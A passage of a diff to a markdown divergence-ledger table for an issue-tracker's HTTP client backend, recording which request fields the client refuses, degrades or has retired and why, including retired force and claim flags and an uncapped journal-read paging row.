row 16, D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| L-events-paging | degrade | — | an UNCAPPED journal read (limit 0) is served as a loop of handler-sized requests rather than one, so its rows and its head no longer come from a single instant; a bounded read is one request and is unaffected | the role imposes no ceiling of its own — journalops.Journal says a limit of 0 means uncapped, because the caller that pages a hundred thousand records out to a file is as legitimate as the one polling for ten — and the OPERATION refuses `limit=0` by value, capping a page at 10000 (internal/httpapi's maxEventsLimit). That cap is the handler's promise to its clients rather than a narrowing of the role, and this client is on the other side of it. SO THE LOOP IS THE ONLY HONEST READING. Refusing an uncapped read would refuse something the role permits; capping one silently at 10000 would answer a partial page beside a head saying there is more, which is a consumer stalling on a gap nobody told it about. Both are worse than N transactions. WHAT SURVIVES IS WHAT A CONSUMER ACTS ON: rows stay contiguous and seq-ascending, because each page continues exactly where the last ended; the head is the LAST page's, so it is the freshest and can only be at or ahead of the last row served; and a truncation on any page is the whole read's failure, never a shorter answer — a loop that returned the prefix it had already gathered would answer a gap with a plausible-looking suffix, which is the one failure a replay feed must never ship. WHAT DOES NOT SURVIVE is atomicity across the whole answer: a mutation committing mid-loop appears in a later page of the SAME call rather than in the next one. A consumer cannot observe that as a gap or a duplicate — it reads as records it would have received on its next poll, arriving early — which is why this is a degrade rather than a refusal. IT IS A DEGRADE RATHER THAN A REFUSE for the ordinary reason too: the path proceeds, and the answer cannot be misread as narrower or wider than the caller asked for. Upstream ask: an unlimited spelling on the operation, or a cursor the page can hand back — either retires this row | D8 (Journal), D9 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | ## Write-side refuse-not-drop (D8) @@ -99,40 +100,46 @@ Role-request fields on the served writes that the v0 wire publishes no member fo | ID | Kind | Field / flag | Divergence | Why | Spec | Pinned test | |---|---|---|---|---|---|---| -| W-UpdateRequest.Claim | refuse | `UpdateRequest.Claim` | a claim combined with any other UpdateRequest member refuses; a claim ALONE does not — it dials claimIssue directly (see httpLifecycle.claimOnlyUpdate) | a claim is claimIssue's own operation and updateIssue cannot perform one, on this wire or on any other; it is the one row here that upstream #5484 did not touch. claimIssue's own request is the actor alone, so a claim-only UpdateRequest IS that request and is served through the Claimer role instead of refusing — that is gc's exclusive claim path, `bd update --claim --json`. What still refuses is PATCH claim: a claim folded into one atomic transaction WITH a patch, a guard or a force override, which no operation on this wire publishes and which is not synthesized as two calls (claimIssue then updateIssue), since that would let a caller observe an issue claimed but not yet patched. Upstream gastownhall/beads#6890 tracks the capability that would carry both in one call | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ClaimRequest.Wisp | refuse | — | claiming a wisp is not supported over http | the v0 wire's claim operation excludes the wisp plane on every backend; claim this issue from a local workspace instead | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ForceAssigneeTransfer | refuse | `UpdateRequest.ForceAssigneeTransfer` `--force` | bypassing the anti-steal assignee fence refuses | the wire publishes `force_assignee_transfer` (upstream #5484) and this client does not send it. What the refusal STANDS ON changed with client wave ga-7i6by and the row is narrower for it: the `assignee` the fence guards IS now sent (W-IssuePatch.Assignee), so what is left is the bypass alone. The fence itself is unbypassable rather than absent — a transfer away from a live foreign in-progress owner refuses with already_claimed, and a matched `expected_assignee` is the OTHER bypass, which this client does send. Carrying this one is a two-member port tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ForceClosePolicy | refuse | `UpdateRequest.ForceClosePolicy` `--force` | bypassing close policy on a status-crossing update refuses | the wire publishes `force_close_policy` (upstream #5484) and this client does not send it; see W-UpdateRequest.ForceAssigneeTransfer for what the refusal now stands on, since client wave ga-7i6by sends the `status` whose crossing the policy gates. The policy is therefore enforced and not bypassable here: a status crossing into the done category with open children or a live blocker refuses with not_closable, typed, and writes nothing. Tracked as ga-2ltro.15 | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedAssignee | retired | — | the compare-and-set assignee precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. A pointer expresses both, and the pin drives the empty-string guard as its own case | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.ExpectedStatus | retired | — | the compare-and-set status precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.IssuePlaneOnly | refuse | `UpdateRequest.IssuePlaneOnly` | restricting an update to the issue plane refuses | updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-UpdateRequest.Provenance | refuse | `UpdateRequest.Provenance` | labeling an update's history entry refuses | updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CloseRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a close used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ReopenRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a reopen used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-DeleteRequest.ExpectedVersion | retired | — | the compare-and-delete row-version precondition used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the refusal worth having: dropping this guard erases a row the caller had asked not to erase, with nothing left to compare afterwards. The multi-id refusal the wire attaches to it is deliberately NOT anticipated client-side: distinctness is measured after trimming and collapsing duplicates, which is the normalization this role sends its ids verbatim to avoid re-implementing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ReopenRequest.Provenance | refuse | `ReopenRequest.Provenance` | labeling a reopen's history entry refuses | reopenIssue publishes no provenance member and the server writes its own fixed label (`bd serve: reopen issue`); see W-UpdateRequest.Provenance | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-AddDependenciesRequest.SkipPerEdgeCycleCheck | refuse | `AddDependenciesRequest.SkipPerEdgeCycleCheck` `--no-cycle-check` | `bd dep add --no-cycle-check` refuses on the bulk --file path | the wire deliberately leaves SkipPerEdgeCycleCheck UNPUBLISHED and therefore false (internal/httpapi/dependency_edit.go). The single-edge spelling forwards false and only gates the post-hoc cycle warning, which the wire-backed CycleDetector serves, so it is served-with-note rather than refused | D7, D8 row 18, D9 L16 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Status | retired | — | `bd update -s` used to refuse | RETIRED with client wave ga-7i6by. IssuePatchBody published `status` with upstream #5484 and this client's encoder now emits it; close and reopen still carry the lifecycle semantics a status write has nowhere to put — the reason and session under first-close-wins, the done-status normalization, the already-closed idempotence flag — and stay the operations to reach for. What this member serves is the status moved ALONGSIDE other fields in one transaction, which is the thing two calls cannot do | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Assignee | retired | — | assignment and unassignment through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). The EMPTY STRING is the half that makes this member more than a rename: it UNASSIGNS, so a client that skipped an empty value would turn a real edit into no edit at all. The anti-steal fence around it is the server's and is unchanged — a transfer away from a live foreign in-progress owner still refuses with already_claimed, and the two bypasses (`force_assignee_transfer` and a matched `expected_assignee`) are W-UpdateRequest.ForceAssigneeTransfer and the guard wave's own | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Metadata | retired | — | a metadata patch used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). IssuePatchBody publishes the same replace/merge/set/unset algebra MetadataPatch carries, member for member, so the client projects it rather than translating it and the ordering rule — merge, then set in key order, then unset, with replace refusing beside the other three — stays the ROLE's, applied by the same body a local workspace runs. The CLEAR is the one state the wire's own struct cannot spell (`omitempty` omits it), which is why the document is built as a map and an empty replacement travels as the empty document. The compare-and-set door is a different question and is served by its own accessor (issues.casMetadata, ga-7i6by's other half) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.SpecID | refuse | `IssuePatch.SpecID` | a spec-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes spec_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.AwaitID | refuse | `IssuePatch.AwaitID` | an await-id edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes await_id (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Owner | refuse | `IssuePatch.Owner` | an owner edit refuses ON updateIssue | IssuePatchBody excludes owner — which the document itself calls an accident of order rather than a decision, since ApplyPatchBody DOES publish it and issues:batchApply's update item carries it (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.ClosedBySession | refuse | `IssuePatch.ClosedBySession` | a closed-by-session edit refuses | neither IssuePatchBody nor ApplyPatchBody publishes closed_by_session (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Persistence | refuse | `IssuePatch.Persistence` | a persistence-mode edit refuses | neither body publishes persistence: moving a row between planes mid-plan is a different act from writing its fields (internal/httpapi/update.go issuePatchMembers) | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.ParentID | retired | — | a parent re-hang through update used to refuse | RETIRED with W-IssuePatch.Status (ga-7i6by). It is ONE call rather than a remove-then-add pair, which is the whole reason the member exists: the two-call spelling leaves the issue parentless if the second call fails, and dependencies:add/remove — still the general write side of the graph over this wire — cannot express the atomic replacement. The empty string removes every parent-child edge, so it travels like `assignee`'s empty string rather than being skipped. The graph refusals it earns are the server's and arrive typed: a cycle through the issue's own descendant as the PLAIN dependency_cycle, and an existing edge of another type as dependency_exists | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateBatchRequest.Provenance | refuse | `CreateBatchRequest.Provenance` | labeling a batch create's history entry refuses | batchCreateIssues publishes actor and items only, and the server writes its own label; see W-UpdateRequest.Provenance. It is the one Provenance whose ABSENCE is visible in shipped history — the surface this role serves has always named its source file in the entry (`bd: create 3 issue(s) from plan.md`) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateBatchRequest.ForceIDPrefix | refuse | `CreateBatchRequest.ForceIDPrefix` `--force` | permitting explicit ids outside the workspace's configured prefix refuses | the wire publishes no such member — and could not honor one, since it publishes no explicit id for the flag to permit (W-BatchCreateItem.Issue). Dropping it would answer a request about WHERE ids may be written with a batch whose ids the server chose | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-BatchCreateItem.Issue | refuse | `BatchCreateItem.Issue` | an item whose Issue populates any member outside the wire's eight refuses, naming the member | apigen.BatchCreateItem carries title, description, design, acceptance_criteria, priority, issue_type, assignee and labels and nothing else, while the role accepts far more of a types.Issue: an explicit id, the wisp flags, metadata, the storage class, every timestamp, the gate/molecule/event fields. ONE row rather than one per member because the reason is one reason — the wire's item vocabulary — and forty rows repeating it would say nothing a reader does not learn here. Exhaustiveness is held by REFLECTION instead: the client's carried and role-ignored tables are checked against types.Issue field by field, so a member added upstream is refused the day it lands rather than dropped until someone notices. The members the role ITSELF ignores on a create (ContentHash, RowVersion, lease, compaction, routing overrides, hydration flags) are not in this population and are not refused: a local create drops them too | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.Reverse | refuse | `CreateDependency.Reverse` | an edge written from the target back to the new issue refuses ON A BATCH CREATE | BatchCreateDependency carries target_id and type only; dropping Reverse would write the edge in the OPPOSITE direction from the one asked for, which is a different graph. createIssue's CreateIssueDependency DOES publish it, and the single-create path sends it (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.Metadata | refuse | `CreateDependency.Metadata` | typed edge metadata refuses ON A BATCH CREATE | BatchCreateDependency publishes no metadata member, and a waits-for gate whose metadata was dropped is a readiness rule that silently does not hold. createIssue's edge publishes it, and the single-create path sends it verbatim (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateDependency.ThreadID | refuse | `CreateDependency.ThreadID` | associating an edge with a discussion thread refuses | neither BatchCreateDependency nor CreateIssueDependency publishes a thread member (internal/httpapi/spec BatchCreateDependency) | D8 row 14 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateRequest.IDPrefix | refuse | `CreateRequest.IDPrefix` | overriding the prefix an explicit id is checked against refuses | createIssue publishes no `id_prefix`, and the omission is the SERVER's decision rather than a gap (internal/httpapi/create.go): the field exists because a workspace's own config.yaml prefix wins over the database's and only a local front door can read that file, so a remote caller's config.yaml describes a workspace this server does not serve. Publishing it would let a caller override the served workspace's prefix rule from outside it. Dropping it instead would check the id against the SERVER's prefix while the caller believed it was checked against theirs — the same request, two different answers to 'may this workspace mint this id' | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateRequest.Issue | refuse | `CreateRequest.Issue` | a create whose Issue populates any member outside the wire's twenty refuses, naming the member | createIssue publishes the whole create VOCABULARY — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue: the creation stamp (created_at, created_by), because a caller-supplied creation time makes the row disagree with the journal entry that records it and re-dating history is what an import is for; and spec_id, await_*, mol_type, wisp_type, work_type, storage_class, source_*, pinned, is_template and the event quartet, which this surface publishes on no operation, read or write. ONE row rather than one per member for W-BatchCreateItem.Issue's reason — the reason is one reason — and exhaustiveness is held by the same REFLECTION over types.Issue, sharing the role-ignored table with the batch so the two operations cannot disagree about what the ROLE drops. Issue.Comments and Issue.Dependencies are not in this population: the role itself refuses them, so a local create fails too and this is validation rather than divergence | D8 row 16 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-CreateItem.Issue | refuse | `CreateItem.Issue` | a create ITEM whose Issue populates any member outside the wire's twenty refuses, naming the member | ApplyCreateItem publishes exactly createIssue's create vocabulary — id, title, description, design, acceptance_criteria, notes, status, issue_type, priority, assignee, owner, estimated_minutes, external_ref, due_at, defer_until, sender, metadata, labels, ephemeral, no_history — and deliberately not the rest of a types.Issue, for the reasons W-CreateRequest.Issue gives in full. It is a row of its OWN rather than a citation of that one because the operations are different: a caller auditing why their PLAN refuses must not be sent to a row about a single create, and the two can diverge the day either vocabulary moves. The partition itself is SHARED — one carried table, one role-ignored table, held against types.Issue by the same reflection — so they cannot disagree about what the wire carries or about what the role drops. Issue.Comments and Issue.Dependencies are not in this population and are refused as validation on both sides: edges in this role are ITEMS, so a create item has nowhere to put one at all | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-ApplyPatch.ParentID | refuse | `IssuePatch.ParentID` | a parent re-hang inside an update ITEM refuses, where the same member serves on updateIssue | ApplyPatchBody deliberately publishes no parent_id, and the absence is this operation's ONE-EDGE-ONE-SPELLING rule rather than a gap: a parent is a dep_add item of type parent-child, so the ORDER of every edge in a plan stays total and there is exactly one place an edge is written. The single patch has no ordering to express and publishes the member directly (W-IssuePatch.ParentID, retired by client wave ga-7i6by), which is why the same Go field is carried by one document and refused by the other. Refusing is not a loss of capability, only of spelling: a plan re-hangs a parent with a dep_add item, which is the atomic replacement in the position the caller declared it | D8 refuse-not-drop | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | -| W-IssuePatch.Labels | retired | `IssuePatch.Labels` | RETIRED — the whole ordered label edit crosses: `labels` replaces, `add_labels` adds, `remove_labels` removes | upstream #5510 published add_labels and remove_labels on IssuePatchBody and client wave ga-jpywb emits both, which is the retirement path this row named. The three travel as FLAT siblings where applyBatch nests them under one object, and the server assembles all three into ONE issueops.LabelPatch — so the algebra the role states (replace, then add, then remove; removal wins) is applied server-side and is never this client's to arrange. WHAT THE REFUSAL WAS PROTECTING is worth keeping after the refusal is gone: degrading an incremental edit onto the replace-only member would have meant reading the set, adding to it and writing it back, which silently drops any label another writer added in between. `bd label add` and every agent that tags work concurrently are exactly that caller, so the refusal was right for as long as the members did not exist — and it is the members that retire it, not a change of mind about the read-modify-write | D8 refuse-not-drop, open questions (tracked-refusal roadmap) | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the S2 handoff notes for the full list of rows re-pinned here and engdocs/design/http-client-backend.md D9 for the discipline | +| W-UpdateRequest.Claim | retired | `UpdateRequest.Claim` | a claim combined with a patch, a guard or a force override used to refuse | RETIRED by the #7247 review port. The refusal stood on 'updateIssue cannot perform a claim, on this wire or on any other' — and upstream gastownhall/beads#6890, the capability the row itself named, had already published `claim` on updateIssue: the claim and the patch applied by the same role in one transaction, so PATCH claim was the server's shape and only this client's refusal. The body now sends `claim` as a pointer set true only on request, so a claim alone, a claim with a patch and a claim with a version guard are each ONE updateIssue call, answered with the post-write `revision` like every other update. The claimIssue route survives as the fallback for a claim ALONE against a server that predates the member, which refuses it as an unknown parameter before any database work; a combination against such a server returns that skew refusal rather than splitting into two calls | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ClaimRequest.Wisp | refuse | — | claiming a wisp is not supported by this bd serve | the server predates claiming through its update operation, and its separate claim operation excludes the wisp plane; upgrade bd serve, or claim this issue from a local workspace | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceAssigneeTransfer | retired | `UpdateRequest.ForceAssigneeTransfer` `--force` | bypassing the anti-steal assignee fence used to refuse | RETIRED by the #7247 review port, the two-member port ga-2ltro.15 named. The wire publishes `force_assignee_transfer` (upstream #5484) and the refusal was always this client's: client wave ga-7i6by had already narrowed it to the bypass alone by sending the `assignee` the fence guards, and issues:batchApply's update item already carried the same flag. The body now sends it as a pointer set true only on request. The fence itself is unchanged — a transfer away from a live foreign in-progress owner refuses with already_claimed unless one of the two bypasses rides with it, this one or a matched `expected_assignee` — and the server refuses the bypass without a `patch.assignee` or beside `expected_assignee` or `claim` | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceClosePolicy | retired | `UpdateRequest.ForceClosePolicy` `--force` | bypassing close policy on a status-crossing update used to refuse | RETIRED with W-UpdateRequest.ForceAssigneeTransfer, the other half of ga-2ltro.15's port. The wire publishes `force_close_policy` (upstream #5484), client wave ga-7i6by sends the `status` whose crossing the policy gates, and issues:batchApply's update item already carried the flag. The body now sends it as a pointer set true only on request; unforced, a status crossing into the done category with open children or a live blocker still refuses with not_closable, typed, and writes nothing | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ForceNotesOverwrite | retired | `UpdateRequest.ForceNotesOverwrite` | bypassing the notes-overwrite fence on a single update used to refuse | RETIRED by the S3 reconciliation that found it (2026-10). It was discovered refused on the single-patch updateIssue path while the identical flag was already carried on issues:batchApply's update item (W table entry applyBatch/item/update) — the same trio member, wired on one shape and not the other with no decision on record for the gap. Flipping it was a port, not a decision, same as W-UpdateRequest.ExpectedVersion's: the body now sends `force_notes_overwrite` as a pointer set true only on request, so a Patch.Notes that would replace existing non-empty notes with different non-empty content is bypassable here exactly as it already was on the batch path | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). The refusal was always the CLIENT's rather than the document's — upstream #5484 published `expected_version` and this client had not been taught to emit it — and the row said so in as many words: 'flipping it is a port, not a decision: send the member, retire this row, and turn the refusal pin into a round-trip pin'. That is what happened. The member is now sent as a POINTER, so absent stays absent: 0 is a legal token (the migration-0054 backfill left rows holding it) and encoding 'no guard' as 0 would have armed a guard on every unguarded update. The pin below asserts the round trip in both directions | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedAssignee | retired | — | the compare-and-set assignee precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). Its own trap is the mirror image of that one's: the EMPTY assignee is a real guard — it is how a caller says 'only if nobody holds it' — so this member cannot be omitted when it is empty either. A pointer expresses both, and the pin drives the empty-string guard as its own case | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.ExpectedStatus | retired | — | the compare-and-set status precondition used to refuse | RETIRED with W-UpdateRequest.ExpectedVersion (ga-jbuyf). The status guard is the readable one — `Issue.status` is on every read of this surface, so a caller can guard a transition with no token at all — and it is sent as the workspace's own status vocabulary, verbatim | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.IssuePlaneOnly | refuse | `UpdateRequest.IssuePlaneOnly` | restricting an update to the issue plane refuses | updateIssue publishes no plane restriction and the server's role auto-resolves both planes, so dropping the flag would EDIT the wisp the caller asked to be told did not exist — the widening refuse-not-drop exists to stop. Not in the design's own enumeration: the page lists the UpdateRequest members it had reviewed, and this one was found while wiring the role | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-UpdateRequest.Provenance | refuse | `UpdateRequest.Provenance` | labeling an update's history entry refuses | updateIssue publishes no provenance member and the server writes its own label, so a dropped Provenance would leave the history entry naming the SERVER's surface while the caller believed it named theirs. It is refused rather than degraded because the field's whole purpose is the label, so dropping it drops the request | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-CloseRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a close used to refuse | RETIRED by the client wave that sends it (ga-jbuyf). CloseIssueRequest publishes expected_version (upstream #5506) and this client now emits it, so the guard reaches the server rather than refusing here — and the ordering the role promises, that the precondition is checked BEFORE the idempotent re-close, is the server's to keep and the served tier's to assert | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-ReopenRequest.ExpectedVersion | retired | — | the compare-and-set row-version precondition on a reopen used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf). The design's enumeration named the close half only, and the reopen half is the same field on the same verb pair — it retires the same way | D8 refuse-not-drop, D7 | TODO(S3): store/dial-seam and cmd/bd conformance this package's own gates do not reach; see the in-repo divergence ledger, engdocs/design/http-divergence-ledger.md, for the discipline | +| W-DeleteRequest.ExpectedVersion | retired | — | the compare-and-delete row-version precondition used to refuse | RETIRED with W-CloseRequest.ExpectedVersion (ga-jbuyf), and it is the one whose stakes made the 